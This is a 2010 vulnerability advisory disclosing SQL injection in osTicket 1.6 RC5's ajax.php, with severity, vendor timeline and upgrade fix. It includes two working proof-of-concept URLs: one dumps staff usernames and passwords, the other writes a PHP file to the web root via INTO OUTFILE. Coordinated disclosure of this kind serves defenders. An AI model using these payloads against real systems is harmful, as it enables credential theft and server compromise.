Advisory Name: SQL injection in osTicket

Vulnerability Class: SQL injection

Release Date: 2010-02-09

Affected Applications: Confirmed in osTicket 1.6 RC5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available: osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176

Vulnerability Description:

A Vulnerability has been discovered in osTicket, which can be exploited by malicious people to conduct SQL injection attacks.

Input passed via the "input" parameter to ajax.php is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 1.6 RC5. Other versions may also be affected.

Proof of Concept:

http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20username,passwd%20from%20ost_staff--%20and%20%27%%27%20LIKE%20%27

http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20%27%3C?php%20phpinfo%28%29;%20?%3E%27,%27%27%20into%20outfile%20%27/var/www/upload/images/info.php%27--%20and%20%27%%27%20LIKE%20%27

Impact: Execute arbitrary SQL queries.

Solution: Upgrade to osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176

Vendor Response:

January 9, 2010 – First Contact
January 10, 2010 / February 4, 2010 – Updates on resolution
February 9, 2010 – Latest version and patch available
February 9, 2010 – Public Disclosure of the Vulnerability

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
nahuel.grisolia <at> gmail <dot> com